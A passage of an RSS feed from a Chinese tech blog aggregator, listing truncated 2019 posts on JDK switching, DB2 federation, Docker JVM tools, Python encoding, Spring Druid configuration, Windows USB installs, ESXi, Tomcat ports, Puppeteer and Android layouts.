将下面代码保存为sh文件即可，然后直接运行。没有位置要求，如果经常用可以放到bin目录下使用。&#xA;#!/bin/bash echo echo &#34;===================================================================&#34; echo &#34;Please follow 3 steps as below before you select the JDK version!&#34; echo &#34;Step 1:&#34; echo echo &#34;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&#34; echo &#34;Please put jdk folder in &#39;/usr/lib/jvm/&#39;, this program will scan JDK in this directory!</description>
    </item>
    <item>
      <title>db2数据库联邦，WRAPPER，SERVER，MAPPING，NICKNAME，10.5</title>
      <link>https://bchobby.github.io/posts/e596829f3f0e02a1a91acd5348cdf6dd/</link>
      <pubDate>Tue, 26 Nov 2019 11:47:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e596829f3f0e02a1a91acd5348cdf6dd/</guid>
      <description>注：名称长度不超过8位&#xA;##切换用户启动数据库&#xA;su - db2inst1&#xA;db2start&#xA;##连接数据库&#xA;db2 connect to 本地数据库名称 user 用户名 using 密码;&#xA;db2 set schema 本地SCHEMA;&#xA;## 打开联邦数据库参数&#xA;db2 update dbm cfg using FEDERATED YES&#xA;db2 force application all&#xA;db2stop&#xA;db2start&#xA;## 编目远程数据库节点&#xA;db2 &#34;catalog tcpip node 节点名称 remote IP server 端口&#34;&#xA;db2 &#34;terminate&#34;&#xA;## 编目远程数据库&#xA;db2 &#34;catalog db 远程数据库名称 as 远程数据库在本地别名 at node 节点名称 authentication SERVER&#34;&#xA;db2 &#34;terminate&#34;&#xA;## 测试连接是否可用&#xA;db2 &#34;list db directory&#34;&#xA;db2 &#34;</description>
    </item>
    <item>
      <title>计算机视觉方向简介 | 自动驾驶中的车道线跟踪技术</title>
      <link>https://bchobby.github.io/posts/084d8991e80761e048de9cb39362633e/</link>
      <pubDate>Mon, 25 Nov 2019 13:55:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/084d8991e80761e048de9cb39362633e/</guid>
      <description>本文讨论的重点跟踪算法如何应用在车道线应用中，即从得到车道线检测结果开始，到连续稳定地车道线跟踪的过程。包含车道线模型、鲁棒的拟合方法和跟踪。本文原创。&#xA;车道线检测和跟踪是自动驾驶中必不可少的功能，LDW（车道偏离预警）、LKA（车道保持辅助）等功能模块都依赖于连续稳定的车道线检测和跟踪。（多）目标跟踪算法已经得到充分研究，而且相关算法解析和综述网上已经有很多了，也可以在计算机视觉life相关文章中找到，不再赘述。但是以上跟踪的分析，大多针对点目标，而此处我们关注跟踪算法如何应用在车道线应用中。一般来说跟踪和检测需要分开实施，如果有端到端一步实现检测+跟踪的方法，烦请不吝赐教。&#xA;本文先简单介绍车道线检测结果和问题，然后建立车道线的多项式模型，以及获得模型参数需要的鲁棒的拟合算法。接着介绍常见的跟踪算法，以Kalman滤波为主。最后是车道线相关资源干货分享。&#xA;获得车道线检测结果 车道线跟踪前提是拿到车道线检测结果。车道线检测的传统图像处理方法有：梯度+颜色信息、参数空间投票、边缘检测+Hough变换及其变形、k-means聚类和利用图像特征检测等方法。传统的车道检测方法需要高度定制化，包括许多手工特征提取和后处理方法。当测试环境改变时，常常需要大量调参工作，甚至需要更换后处理方法。很多时候需要在鸟瞰图上利用车道线空间相互关系进行处理。&#xA;近两年（从2017年开始）开始出现了许多基于深度学习的方法，如SCNN，VPGNET，Lanenet，甚至是图像分割（可通行区域）等，实现了端到端的检测，在原图上很好的利用了环境信息，提高稳定性。&#xA;除了检测出存在曲线和位置，还要区分出不同车道的车道线，通常需要提供左左，左，右，右右共四条车道线，即能区分出三条车道。&#xA;这里检测结果应包括点坐标、颜色、线型、置信度等信息。当然也有研究把线型的确定称为车道线识别。&#xA;当状况良好的时候，仅靠车道线检测就能连续输出车道线，例如网上广为流传的Udacity提供的开源项目[8]，仅靠梯度+颜色信息的检测方法，就能检测出几乎所有帧里的车道线，没有明显遗漏。因此后处理只需要对车道检测出来的点进行拟合并延伸到灭点即可，无需更多跟踪过程。如下图所示，当前车道线被红色线标记出来。&#xA;但是几乎所有实际路况，或多或少存在路面有修补、有积水、有阴影、车道线被遮挡、污损等情况以及车辆颠簸、上下坡等更极端的工况。下面的动图是LaneNet原始检测结果（from Karol Majek），车道线检测出的概率越高的地方颜色越亮。其中右侧路沿绿色的检测结果时断时续，在进入阴影时，检测失效，这是因为没有用跟踪进行结果稳定。因此，引入了车道线跟踪很重要，根据历史状态和道路几何关系，补充检测丢失、错误的车道线，并使车道线在空间位置上更稳定。&#xA;建立车道线模型 跟踪第一步，是要根据场景要求，合理地用较少参数准确描述出车道线，即把检测结果抽象成模型参数。但直接用图片像素上的曲线建立模型并不理想，而是需要转换到车体坐标系下建立模型，这是因为车体坐标系下模型参数的物理意义才更清晰。而且通常冗余设计包含多个相机，多个相机也必须统一到车体坐标系。通常使用逆透视变换把图片坐标转化为车体坐标。下图左红色坐标系定义了车体坐标系，坐标系原点为车辆中心（根据不同标准车辆中心位置定义不同，不具体讨论）。&#xA;假设路面水平，车道线模型可以用多项式 来表示，但是其中的多项式系数 的物理含义并不直观。我们可以改写成如下形式&#xA;其中 是车道线的位置即截距（ ）， 是车道线角度（ ）， 是车道线曲率（ ）， 是车道线曲率的变化率（ ）。车道线曲率半径为 （ ），如上图右上的Radius of Curvature的数值。以上所有参数都是在 处分析的，通过对 求多次导得到。需要说明的是，公式进行了必要的近似，只有车辆沿道路正常往前开或转向不明显——即 较小——时，角度 才近似于一阶项系数 ，曲率也才能近似于 的二阶导数（可参考曲率的定义）。&#xA;另外，也有文献用车道宽度、车中心偏离车道中心位置、车道线角度以及曲率四个参数来表征车道线，如文献[1] 。还有文献采用二次B条样函数表示车道线模型。&#xA;作为一般讨论，这里用水平路面四个参数 表征一条车道线，较简洁，而且和真实物理量之间也有清晰的对应关系。&#xA;鲁棒的曲线拟合 选定车道线模型后，需要利用车道线检测结果（通常为散点，需要事先变换到车体坐标下）拟合该模型的参数。这里主要介绍两种比较常用的方法，最小二乘法和RANSAC（随机抽样一致性），此处假设大家都大概了解这两个算法的原理。&#xA;最小二乘法是最小化残差平方和的一种最优化方法，广泛应用的原因之一是其平方和的形式，便于整理成矩阵相乘的形式，例如线性最小二乘容易得到闭合解 ，其中 是包含 、 、 、 的矩阵。而且平方形式便于求导和泰勒展开，才能有后面的Gauss-Newton和LM最优化迭代算法。&#xA;不过，最小二乘法的过拟合问题会显著影响车道线拟合效果，造成泛化误差增加。因为车道线参数在一定范围内不会有特别大的突变，如很少曲率特别大的弯道等，所以车道线以低阶多项式表达为主，根据经验，二阶形式能表示大部分情况。这种情况下如果有车道线检测有误差，会使得拟合曲线曲率异常，此时车道线模型中的三阶项就会产生明显的问题（此时三阶项系数 可能会异常的大），如下图所示。而且同一条线前后帧可能也会跳动剧烈，因为帧与帧之间的噪声不同，拟合误差大。解决办法之一是直接降低拟合阶数，不过最好能够自适应地调节并切换模型阶数，否则失去了该模型的意义。还可以采用带正则项的最小二乘，闭合解为 ，其中 是正则系数。因为正则化抑制了系数的异常变大，降低了噪声的影响。下图是直接最小二乘和带正则项的最小二乘的拟合效果比较，可以看到后者在高阶拟合时对噪声不那么敏感（此处拟合阶数大于3阶，只是为了展示问题）。&#xA;即便如此，最小二乘可能仍然不够鲁棒，因为最小二乘要用所有输入的点来计算，异常点不可避免地影响到拟合效果。例如有较大误差的噪声信号的情况（下图左），或者有多条车道线结果被错误包含在一条车道线的结果中的情况（下图右）。&#xA;RANSAC算法提供了另一种鲁棒性拟合的思路。RANSAC通过迭代算法找到包含最多内点（实际有用的数据点）数量的拟合曲线。由于只用内点进行拟合，而噪声或另一车道线的数据就会被当成外点，外点对拟合没有任何贡献。该算法用随机数据抽样的数据来拟合，因此一定概率能找到最优拟合曲线。但是，当这个概率——拟合置信度 ——很大时，如 ，就可以认为找到的曲线近似等于实际的曲线。经实验验证，对于包含 %误差的数据集，RANSAC的效果远优于直接最小二乘法。&#xA;RANSAC算法收敛的关键在于参数的选取，参数有：某个点是外点的概率（噪声或者错误车道线） ，每次抽样的点数 ，抽样次数 和算法收敛设定的 阈值，这几个参数的关系如下图所示。下图的表格为不同条件下 的选取。另外，还有一个参数是内点选取范围距离 ，该值与 和样本点方差 有关，如 时， 。</description>
    </item>
    <item>
      <title>docker容器中使用jstack、jmap</title>
      <link>https://bchobby.github.io/posts/353bb33e2c512f2700b0494adc4130e6/</link>
      <pubDate>Sat, 23 Nov 2019 22:32:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/353bb33e2c512f2700b0494adc4130e6/</guid>
      <description> docker容器中使用jstack、jmap (基于livingobjects/jre8的镜像)&#xA;#进入容器里&#xA;docker exec -it xxx /bin/bash 容器里面运行：&#xA;1、修改源：&#xA;cd /etc/apk vi repositories 2、替换成阿里源&#xA;http://mirrors.aliyun.com/alpine/v3.8/main/ http://mirrors.aliyun.com/alpine/v3.8/community/ apk update 3、安装jdk&#xA;apk add openjdk8 cd /usr/lib/jvm/java-1.8-openjdk/bin 4、运行jstack、jmap等工具&#xA;./jstack ./jmap ./jmap -dump:live,format=b,file=dump20191122.hprof (pid) </description>
    </item>
    <item>
      <title>Python3 解决 &#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte</title>
      <link>https://bchobby.github.io/posts/0844516944a6d729e024349b7001a1d8/</link>
      <pubDate>Sat, 23 Nov 2019 21:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0844516944a6d729e024349b7001a1d8/</guid>
      <description>一、问题 request.Request(url，headers=headerDict))的时候出现异常信息：&#39;utf-8&#39; codec can&#39;t decode byte 0x8b in position 1: invalid start byte&#xA;二、解决方案 http头中headerDict参数： &#34;Accept-Encoding&#34;: &#34;gzip, deflate&#34;,&#xA;代表本地可以接收压缩格式的数据，而服务器在处理时就将大文件压缩再发回客户端，IE在接收完成后在本地对这个文件又进行了解压操作。&#xA;出错的原因是因为你的程序没有解压这个文件，所以删掉这行就不会出现问题。&#xA;https://blog.csdn.net/zhang_cl_cn/article/details/94575568&#xA;Python模块Requests的中文乱码问题 from：http://blog.csdn.net/chaowanghn/article/details/54889835&#xA;解决Requests中文乱码 都在推荐用Requests库，而不是Urllib，但是读取网页的时候中文会出现乱码。&#xA;分析： r = requests.get(“http://www.baidu.com“) **r.text返回的是Unicode型的数据。 使用r.content返回的是bytes型的数据。 也就是说，如果你想取文本，可以通过r.text。 如果想取图片，文件，则可以通过r.content。**&#xA;获取一个网页的内容 方法1：使用r.content，得到的是bytes型，再转为str&#xA;url=&#39;http://music.baidu.com&#39; r = requests.get(url) html=r.content html_doc=str(html,&#39;utf-8&#39;) #html_doc=html.decode(&#34;utf-8&#34;,&#34;ignore&#34;) print(html_doc) 方法2：使用r.text Requests 会自动解码来自服务器的内容。大多数 unicode 字符集都能被无缝地解码。请求发出后，Requests 会基于 HTTP 头部对响应的编码作出有根据的推测。当你访问 r.text 之时，Requests 会使用其推测的文本编码。你可以找出 Requests 使用了什么编码，并且能够使用 r.encoding 属性来改变它. 但是Requests库的自身编码为: r.encoding = ‘ISO-8859-1’ 可以 r.encoding 修改编码&#xA;url=&#39;http://music.baidu.com&#39; r=requests.get(url) r.encoding=&#39;utf-8&#39; print(r.text) 获取一个网页的内容后存储到本地 方法1：r.</description>
    </item>
    <item>
      <title>Spring boot 集成Driver 数据连接池</title>
      <link>https://bchobby.github.io/posts/01f08e973ba67a9ae372805788f77251/</link>
      <pubDate>Sat, 23 Nov 2019 13:38:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01f08e973ba67a9ae372805788f77251/</guid>
      <description>一：&#xA;Druid在springboot框架下有更加好用的Druid Spring Boot Starter，可以省去原本写Druid的一些配置文件或者@Configuration来配置，直接将配置写在application.yml,使用法更加简单&#xA;引用druid架包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.10&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 引用mybatis架包：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 二在application.yml 文件中配置：&#xA;spring: profiles: active: ${DEPLOY_ENV} # 环境配置 application: name: service-web #项目名 datasource: # 数据源 url: ${bi.ds.jdbcUrl} username: ${ops.mysql.user} password: ${ops.mysql.password} driver-class-name: ${ops.mysql.jdbc.driverClass} type: com.alibaba.druid.pool.DruidDataSource druid: # 连接池的配置信息 # 初始化大小，最小，最大 initial-size: 5 min-idle: 5 maxActive: 20 # 配置获取连接等待超时的时间 maxWait: 60000 # 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒 timeBetweenEvictionRunsMillis: 60000 # 配置一个连接在池中最小生存的时间，单位是毫秒 minEvictableIdleTimeMillis: 300000 validationQuery: SELECT 1 FROM DUAL testWhileIdle: true testOnBorrow: false testOnReturn: false # 打开PSCache，并且指定每个连接上PSCache的大小 poolPreparedStatements: true maxPoolPreparedStatementPerConnectionSize: 20 # 配置监控统计拦截的filters，去掉后监控界面sql无法统计，&#39;wall&#39;用于防火墙 filters: stat,wall,log4j # 通过connectProperties属性来打开mergeSql功能；慢SQL记录 connectionProperties: druid.</description>
    </item>
    <item>
      <title>使用UltraISO制作纯U盘引导，UEFI安装win10[单文件超过4G]</title>
      <link>https://bchobby.github.io/posts/bbbdab3e9a23985e755250fb97286023/</link>
      <pubDate>Fri, 22 Nov 2019 11:22:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbbdab3e9a23985e755250fb97286023/</guid>
      <description> 问题描述：&#xA;UEFI对NTFS支持不是很好，所以一般使用FAT32格式FAT32不支持单文件4G+以cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso为例，其中\sources\install.wim文件就超过了4G，所以就算用fat32做好了启动盘，安装时也会出现install.wim出错，其实是因为文件不完整造成的。 解决方案：&#xA;参考官方文档，但是直接运行会出错，需要简单修改&#xA;原料：&#xA;ultraisowin10镜像假设已经掌握ultraiso制作u盘启动盘的流程 操作：&#xA;挂载镜像&#xA;右键该镜像 &amp;gt; 打开方式 &amp;gt; windows资源管理器拆分镜像 win+X &amp;gt; windows powershell**(管理员)**输入命令：Dism /Split-Image /ImageFile:J:\sources\install.wim /SWMFile:F:\install.swm /FileSize:4000 /ImageFile:后的J:\sources\install.wim 是用资源管理器打开ISO文件后你找到install.wim所在的路径/SWMFile:后的F:\install.swm 是拆分后生成的swm文件的储存路径，由于这个iso文件是只读的，所以换个不同于wim文件所在路径的路径保存/FileSize:后的4000是子文件最大MB数 然后弹出iso 写入U盘 打开ultraiso文件&amp;gt;打开&amp;gt;打开你的iso，启动&amp;gt;写入&amp;gt;写入硬盘映像选择你的U盘，写入方式用USBHDD+，格式化为FAT32，默认设置就行，然后写入。关闭ultraiso 替换映像文件 打开你的U盘，删掉install.wim,把你生成的install.swm和install2.swm放进去，完事 </description>
    </item>
    <item>
      <title>毫米波雷达点迹聚类——DBSCAN聚类算法</title>
      <link>https://bchobby.github.io/posts/7c0e5a12ec9d5c6fa66cd4af9a2cd7f2/</link>
      <pubDate>Fri, 22 Nov 2019 10:55:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c0e5a12ec9d5c6fa66cd4af9a2cd7f2/</guid>
      <description>聚类方法有很多种，其中DBSCAN算法是比较适用毫米波雷达点迹聚类的算法。话不多说，先上图。&#xA;原始数据集：&#xA;聚类结果：</description>
    </item>
    <item>
      <title>Dell Power Edge R740 安装部署Vmware vSphere hypervisor(ESXI) 6.7 U3</title>
      <link>https://bchobby.github.io/posts/afed5403964f7929b3ae8fd28ddfd613/</link>
      <pubDate>Thu, 21 Nov 2019 17:48:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afed5403964f7929b3ae8fd28ddfd613/</guid>
      <description>Dell Power Edge R740 安装部署Vmware vSphere hypervisor(ESXI) 6.7 U3 大家好！这是第一次写博客记录自己的学习及研究过程，感觉以前都没有认证记录过自己学习的一些知识，导致有些自己搞过的东西，过了一段时间就忘记了。&#xA;言归正传，此次记录在Dell R740上安装ESXI 6.7 U3&#xA;硬件环境准备 1.Dell R740物理机&#xA;Intel® Xeon® Silver 4216 CPU *2个&#xA;192 GB内存&#xA;4T硬盘&#xA;2.同一网络的操作机一台（服务器在机房，很吵，Dell R740支持iDRAC远程操作功能）&#xA;3,操作机可连接互联网&#xA;软件下载 官网地址：&#xA;https://www.dell.com/support/home/cn/zh/cnbsd1/product-support/product/poweredge-r740/drivers&#xA;下载最新版本的ESXI 镜像&#xA;不建议去VMware官网去下载其他版本，原因有二：1、Vmware官网下载要注册账号登录啥的比较烦。2、这个是Dell定制的镜像，对硬件的兼容性更好。&#xA;软件操作的前期准备 1.配置Dell R740的iDRAC并远程连接&#xA;2.将磁盘阵列创建为虚拟磁盘&#xA;以上两步操作可参考文章（https://www.cnblogs.com/iamjianghao/p/11441753.html）中的第二步和第三步&#xA;通过iDRAC远程操作安装ESXI 1.使用 Virtual Media映射下载好的ESXI 6.7 iso文件 点击“Connect Virtual Media”按钮&#xA;选择本地的ISO镜像文件，并点击“Map Device”按钮&#xA;Map Device 后点击Close关闭弹框&#xA;2.设置启动项为“Virtual CD/DVD/ISO” 点击“Boot”按钮后选择“Virtual CD/DVD/ISO”，并确认选择。&#xA;3.重启服务器 点击“Power”按钮后选择“Power Cycle System (cold boot)”重启电脑&#xA;4.重启后自动进入安装页面 重启后进入安装页面&#xA;等待资源加载&#xA;第一个操作页面为兼容提醒页面，按回车键继续&#xA;用户版权协议，按“F11”同意并继续</description>
    </item>
    <item>
      <title>Python PyPDF2、pdfplumber 提取 PDF 文本、图片内容</title>
      <link>https://bchobby.github.io/posts/312fe6ee0a6709cb6bc609972f1a67bb/</link>
      <pubDate>Thu, 21 Nov 2019 17:46:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/312fe6ee0a6709cb6bc609972f1a67bb/</guid>
      <description>Python PyPDF2、pdfplumber 提取 PDF 文本、图片内容 安装库安装 pdfplumber安装 PyPDF2 内容提取代码图片提取文本提取完整代码 说明&#xA;本方法提取的图片并不算完整，我测试用的是阿里2017年双十一的一份PDF，AliDouble11.pdf，提取过程中有一处报错，部分图片提取不完整&#xA;由于PyPDF2 直接提取文本内容对中文支持不友好，因此结合两个库提取&#xA;安装库 安装 pdfplumber pdfplumber 可以使用 pip 安装&#xA;pip install pdfplumber 安装 PyPDF2 PyPDF2 需要去 GitHub 下载 https://github.com/mstamy2/PyPDF2&#xA;下载完成后解压，进入解压的目录 E:\tools\PyPDF2-master&#xA;执行 setup.py 进行安装&#xA;python setup.py install 不用pip安装的原因是 pip 下载的只更新到 1.26.0 更新日期是 2016年5月19日，只用这个版本无法提取 jpg 格式图片，会报错&#xA;Traceback (most recent call last): File &#34;D:/projects/util/pdf_util.py&#34;, line 106, in extract_image data = xObject[obj].getData() File &#34;D:\projects\util\venv\lib\site-packages\PyPDF2\generic.py&#34;, line 844, in getData decoded._data = filters.decodeStreamData(self) File &#34;</description>
    </item>
    <item>
      <title>启动tomcat时报了Failed to initialize component [Connector[HTTP/1.1-80]]</title>
      <link>https://bchobby.github.io/posts/363d3804f8a7cd94df48e12411327e19/</link>
      <pubDate>Thu, 21 Nov 2019 13:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/363d3804f8a7cd94df48e12411327e19/</guid>
      <description>javawab里启动tomcat时报了Failed to initialize component [Connector[HTTP/1.1-80]] 本人是学软件的大二学生一枚，过够了普本的咸鱼大学生活。决定在沉迷打游戏无法自拔的时候悬崖勒马。&#xA;看过许多人在博客园上坚持自己，分享自己所学，，，很是敬佩！！！&#xA;在别人的博客上真的学到了许多，，，&#xA;我想唯有传扬他们的分享精神，才是对他们最大的感谢！！&#xA;tomcat解压版里的startup.bat 今天我们老师开始讲javawab了，但我在配置tomcat这个软件上遇到了一个问题！！&#xA;在conf/server.xml配置Connector port=80就报Failed to initialize component [Connector[HTTP/1.1-80]]，其他端口就不会报错！&#xA;作为极度强迫症患者，怎么能忍着用其他端口呢！我就要用80端口！！！&#xA;于是我抛弃老师，放弃课堂，要搞好它！&#xA;首先 既然是端口占用，那就查占用端口呗！在window打开cmd，输入netstat -nao | find “80”(不会netstat,没关系，netstat -h一下就会咯)&#xA;发现本地有一个进程ID为4的程序在占用，那这个ID为4的程序是谁呢！在输入一个tasklist | findstr &#34;4&#34;查找一下&#xA;发现一个System,en… 我惊了！！那我想用80不就凉凉了。。系统端口能不能停呢？&#xA;但是我找到了一个netsh http show servicestate&#xA;详见-&amp;gt;我在这看到的&#xA;在命令行里输入netsh http show servicestate就有了&#xA;但没有对应的ID号啊！请求队列尚未命名！！！仔细一找！在下面的对应的请求队列的地方！&#xA;我的上面对应的80端口是第2，3个这里也找第2，3个。他们是同一个ID。&#xA;找到这个ID不就好办了吗！打开任务管理器停掉它，不就行了吗！ctrl+alt+.打开任务管理器。找到18584，关掉它就行啦！&#xA;最后在试一试tomcat，startup.bat果然没问题了！但要记得如果上次没有shutdown.bat要先shutdown.bat一下哦！！&#xA;最后 本渣才疏学浅，如果有路过的大佬看到我有错误的地方希望得到指正。感谢！！</description>
    </item>
    <item>
      <title>puppeteer 教程（12） ----进阶（puppeteer 从浏览器缓存中拿文件，js，压缩文件等）</title>
      <link>https://bchobby.github.io/posts/f3cc3ab728f0e8f6cc8716be96513deb/</link>
      <pubDate>Thu, 21 Nov 2019 00:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3cc3ab728f0e8f6cc8716be96513deb/</guid>
      <description>目标 处理存在淘宝滑块验证码，并封装成为工具类。。。。&#xA;主要学习以下知识点 方法名称方法说明page.evaluateOnNewDocument添加一个方法，在以下某个场景被调用：1.页面导航完成后，2.页面的iframe加载或导航完成。这种场景，指定的函数被调用的上下文是新加载的iframe。page._client.send向Chrome发送一个协议Page.getResourceContent返回base64编码后的字符串 详细api 可参考&#xA;https://blog.csdn.net/mengxiangxingdong/article/details/99237204&#xA;开始 本文章代码均在 上传在&#xA;https://gitee.com/hugo110/puppeteer-demo&#xA;效果图&#xA;1.代码 /* 获取浏览器中的缓存资源 目前例子是爬取博客的一个头像 */ const puppeteer = require(&#39;puppeteer&#39;); //引入puppeteer库 const pUtil = require(&#39;./util/PuppeteerUtil.js&#39;); (async () =&amp;gt; { const browser = await puppeteer.launch({ //启动浏览器 headless: false, //代码运行时打开浏览器方便观察 // devtools:true //打开f12界面 }); const page = await browser.newPage(); //打开浏览器的一个tab 页 await page.goto(&#39;https://www.baidu.com/&#39;); //访问网址 https://www.baidu.com/ let img_url = &#34;https://www.baidu.com/img/baidu_jgylogo3.gif&#34;; //测试获取图片 let img_str = await pUtil.getResourceContent(page, img_url); //验证获取的图片是否正确 let base64_prefix = &#39;data:image/png;base64,&#39;; img_url = await base64_prefix + img_str; await page.</description>
    </item>
    <item>
      <title>阿里云表格图片识别导出excel</title>
      <link>https://bchobby.github.io/posts/1eb70e2ed55d3580e2fd4163a138b844/</link>
      <pubDate>Wed, 20 Nov 2019 09:52:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1eb70e2ed55d3580e2fd4163a138b844/</guid>
      <description>阿里云api:https://market.aliyun.com/products/57124001/cmapi024968.html&#xA;直接上代码&#xA;package com.kevy.aliyun; import static org.apache.commons.codec.binary.Base64.decodeBase64; import static org.apache.commons.codec.binary.Base64.encodeBase64; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.util.HashMap; import java.util.Map; import org.apache.http.HttpResponse; import org.apache.http.util.EntityUtils; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONException; import com.alibaba.fastjson.JSONObject; import com.kevy.util.HttpUtils; public class TestAliyunTable2 { private static final String appCode = &#34;你的appCode&#34;;//替换该处 public static void main(String[] args) { //待识别图像-实际存在地址 String imgFile = &#34;C:\\Users\\Administrator\\Desktop\\test\\test.jpg&#34;; //保存的excel路径 String saveFile = &#34;C:\\Users\\Administrator\\Desktop\\test\\test.xlsx&#34;; transferExcel(imgFile, saveFile); } public static void transferExcel(String imgFile, String saveFile) { String host = &#34;</description>
    </item>
    <item>
      <title>BottomSheetBehavior 的两个用处</title>
      <link>https://bchobby.github.io/posts/11aaf45b18e3e1495f55814ec1ebc18e/</link>
      <pubDate>Mon, 18 Nov 2019 19:06:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11aaf45b18e3e1495f55814ec1ebc18e/</guid>
      <description>1. BottomSheetBehavior 简介 An interaction behavior plugin for a child view of CoordinatorLayout&#xA;to make it work as a bottom sheet.&#xA;链接：https://developer.android.google.cn/reference/android/support/design/widget/BottomSheetBehavior?hl=en&#xA;划重点：一定要是CoordinatorLayout的子view，不要混淆成 ConstraintLayout。否则就会出现：BottomSheetBehavior is not a child of CoordinatorLayout 的错误&#xA;BottomSheetBehavior 可以和 CoordinatorLayout 的子View 一起，实现底部弹窗效果，手指拖动该面板，可以实现随手指上下滑动，如图：&#xA;2. 实现方法 2.1 gradle 中添加依赖： implementation &#39;com.android.support:design:25.3.0&#39; 2.2 布局文件引入 &amp;lt;android.support.design.widget.CoordinatorLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; android:id=&#34;@+id/cl&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; &amp;gt; &amp;lt;android.support.v4.widget.NestedScrollView android:id=&#34;@+id/bottom_sheet&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; app:behavior_hideable=&#34;true&#34; app:behavior_peekHeight=&#34;50dp&#34; app:layout_behavior=&#34;@string/bottom_sheet_behavior&#34; &amp;gt; &amp;lt;!-- NestedScrollView里设置你的底部表长什么样的，也可以根据实际情况使用别的布局--&amp;gt; &amp;lt;/android.support.v4.widget.NestedScrollView&amp;gt; &amp;lt;/android.support.design.widget.CoordinatorLayout&amp;gt; PS： app:layout_behavior=&#34;@string/bottom_sheet_behavior&#34; 这句一定不能省略，用于和BottomSheetBehavior 建立联系。 且该字符串已在库中定义，直接这样引用即可。否则，会出现如此错误：</description>
    </item>
    <item>
      <title>常见错误TypeError: xxx() missing 1 required positional argument: &#39;xxx&#39;</title>
      <link>https://bchobby.github.io/posts/f9e6a295a07a6dad78dafc95b78c8e14/</link>
      <pubDate>Mon, 18 Nov 2019 16:53:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9e6a295a07a6dad78dafc95b78c8e14/</guid>
      <description>先实例化，后调用。不能直接import进来</description>
    </item>
    <item>
      <title>java.lang.ClassNotFoundException: org.apache.http.Header</title>
      <link>https://bchobby.github.io/posts/606015c6bd6d74af0d77f21bf5648812/</link>
      <pubDate>Mon, 18 Nov 2019 10:29:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/606015c6bd6d74af0d77f21bf5648812/</guid>
      <description> java.lang.ClassNotFoundException: org.apache.http.Header&#xA;在项目里使用http发送post请求，今天在做一个老项目的时候发现代码编译打包都没问题，但是部署服务器后会出现 java.lang.ClassNotFoundException: org.apache.http.Header这个问题，从问题的描述看应该是缺少Header这个类，逐一排查后发现是缺少了httpcore-4.4.6.jar这个包，导入重启解决！老的项目使用的是springMVC+spring+Mybatis的架构,重新启动，有可能会出现jar包缺少，版本太老的问题，为避免再次犯错，记录一下~ </description>
    </item>
    <item>
      <title>pandas NaN转换为None</title>
      <link>https://bchobby.github.io/posts/53b41733800208017e59a476d6723774/</link>
      <pubDate>Mon, 18 Nov 2019 10:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53b41733800208017e59a476d6723774/</guid>
      <description> 在python中，用pandas处理数据非常方便。&#xA;但是有时候从其他地方读取数据时，会有异常值需要处理。比如，我们要从excel读取数据然后调用接口写入数据库时，读取到的空值是NaN，但是，接口接收的对应单元格数据应该是None，这时候怎么处理呢？当然，用pandas做这个事也是非常容易的。示例如下：&#xA;原始数据：&#xA;示例代码：&#xA;import pandas as pd df = pd.read_excel(&#39;data/test_data.xlsx&#39;) # 将非空数据保留，空数据用None替换 df = df.where(df.notnull(), None) print(df) 输出结果：&#xA;id value 0 1 100 1 2 None 2 3 None 3 4 50 </description>
    </item>
    <item>
      <title>Spring学习笔记1.1--入门实验</title>
      <link>https://bchobby.github.io/posts/ae790959abe7b8a9981b66e769ab45f8/</link>
      <pubDate>Sun, 17 Nov 2019 23:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae790959abe7b8a9981b66e769ab45f8/</guid>
